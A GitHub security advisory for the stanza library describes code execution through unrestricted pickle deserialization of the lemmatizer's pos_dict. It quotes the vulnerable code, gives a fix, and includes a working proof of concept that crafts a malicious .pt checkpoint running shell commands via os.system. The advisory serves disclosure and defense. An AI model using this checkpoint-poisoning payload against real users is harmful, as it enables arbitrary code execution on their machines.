GHSA-gh9r-c94j-cmp5

Suggest an improvement
Source
https://github.com/advisories/GHSA-gh9r-c94j-cmp5
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-gh9r-c94j-cmp5/GHSA-gh9r-c94j-cmp5.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-gh9r-c94j-cmp5
Aliases
  • CVE-2026-115878
Published
2026-11-03T20:29:16Z
Modified
2026-11-03T20:45:05Z
Severity
  • 7.8 (High) CVSS_V3 - CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H CVSS Calculator
Summary
Stanza: RCE via pickle deserialization in the lemmatizer
Details

TL;DR

Loading an attacker-supplied lemma .pt runs arbitrary code as the loading user. Since 1.14.0 the lemmatizer stores pos_dict as a gzip-compressed pickle in the checkpoint's dicts field (a bytes value). torch.load(weights_only=True) treats bytes as a primitive and passes it through unexamined, so its allowlist never sees the inner stream. Trainer.load then feeds those bytes to an unrestricted pickle.loads: the only bare pickle.loads in the tree. Result: weights_only=True gives no protection here, and model loading executes code.

Confirmed end-to-end against stanza 1.14.0 / PyTorch 2.13.0 / CPython 3.13.7: a crafted checkpoint whose payload __reduce__ returns (os.system, (cmd,)) ran the command at load time (marker file showed uid=501(...), executed_by=...).

A downstream user is vulnerable whenever they build a pipeline that loads a caller-supplied lemmatizer checkpoint. i.e. stanza.Pipeline(lang=..., processors="tokenize,pos,lemma", lemma_model_path="<attacker-influenced .pt>") (or any equivalent load of an untrusted/shared lemma model through a custom registry) - since that call routes straight into Trainer.load -> _unpack_pos_dict and executes the embedded pickle at construction time.

The vulnerable path

stanza/models/lemma/trainer.py:

# _pack_pos_dict (write side): pos_dict -> pickle -> gzip -> bytes, stored under checkpoint['dicts']

def _unpack_pos_dict(data):                 # line 54
    buf = io.BytesIO(data)
    with gzip.GzipFile(fileobj=buf, mode="rb") as gz:
        raw = gz.read()
    return pickle.loads(raw)                # <-- unrestricted default unpickler
def load(self, filename, ...):              # line 365
    checkpoint = torch.load(filename, ..., weights_only=True)   # outer allowlist; bytes pass through intact
    ...
    if dicts_version == _DICTS_VERSION_POS:                     # dicts_version == 2 (current format)
        self.pos_dict = _unpack_pos_dict(checkpoint['dicts'])   # line 378, no validation

Reachable from the documented API. stanza.Pipeline(..., lemma_model_path=<file>) -> LemmaProcessor._set_up_model -> Trainer(model_file=…) -> Trainer.load. Any shared/distributed checkpoint, custom registry, or caller-supplied lemma_model_path reaches it. No checksum is applied to caller-supplied paths (MD5 verification exists only in the default registry download flow). Trigger is at pipeline construction, before any inference input is processed.

Note: this is not the weights_only=False fallback fixed under CVE-2026-54499: the outer load stays safe; the exposure is entirely the inner pickle.

Minimal PoC

import gzip, io, os, pickle, tempfile, torch
from stanza.models.lemma.trainer import _unpack_pos_dict, _DICTS_VERSION_POS

MARKER = os.path.join(tempfile.gettempdir(), "stanza_lemma_poc_pwned")

class Payload:
    def __reduce__(self):
        return (os.system, ("id > %s 2>&1; echo executed_by=$(whoami) >> %s" % (MARKER, MARKER),))

buf = io.BytesIO()
with gzip.GzipFile(fileobj=buf, mode="wb") as gz:        # same shape as _pack_pos_dict()
    gz.write(pickle.dumps(Payload(), protocol=4))

ckpt = {"dicts": buf.getvalue(), "dicts_version": _DICTS_VERSION_POS}
pt = os.path.join(tempfile.gettempdir(), "evil_lemma.pt")
torch.save(ckpt, pt, _use_new_zipfile_serialization=False)

loaded = torch.load(pt, lambda s, l: s, weights_only=True)   # SUCCEEDS; dicts is bytes, intact
_unpack_pos_dict(loaded["dicts"])                            # == trainer.py:378 -> command runs
print("pwned:", open(MARKER).read().strip())

The PoC calls _unpack_pos_dict directly: the exact expression at trainer.py:378. Reaching it through stanza.Pipeline(...) additionally requires the crafted file to carry a well-formed config/vocab so load runs to line 378 (established by source review); the deserialization to execution step is confirmed at runtime.

Fix

Deserialize the inner stream with the RestrictedUnpickler the project already uses in stanza/models/common/doc.py (allowlists tuple/list/dict only):

from stanza.models.common.doc import RestrictedUnpickler

def _unpack_pos_dict(data):
    buf = io.BytesIO(data)
    with gzip.GzipFile(fileobj=buf, mode="rb") as gz:
        raw = gz.read()
    return RestrictedUnpickler(io.BytesIO(raw)).load()

A legitimate pos_dict is a nested {pos: {word: lemma}} string mapping no class/function globals, so it loads cleanly, while any os.system-style payload is rejected by find_class. JSON would work equally well (all keys/values are strings) and remove pickle from this path entirely. Apply to both _unpack_pos_dict and, for forward compatibility, _pack_pos_dict.

Database specific
{
    "cwe_ids": [
        "CWE-502",
        "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-11-03T20:29:16Z",
    "nvd_published_at": null,
    "severity": "HIGH"
}
References

Affected packages

PyPI / stanza

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
1.14.0
Fixed
1.15.0

Affected versions

1.*
1.14.0

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-gh9r-c94j-cmp5/GHSA-gh9r-c94j-cmp5.json"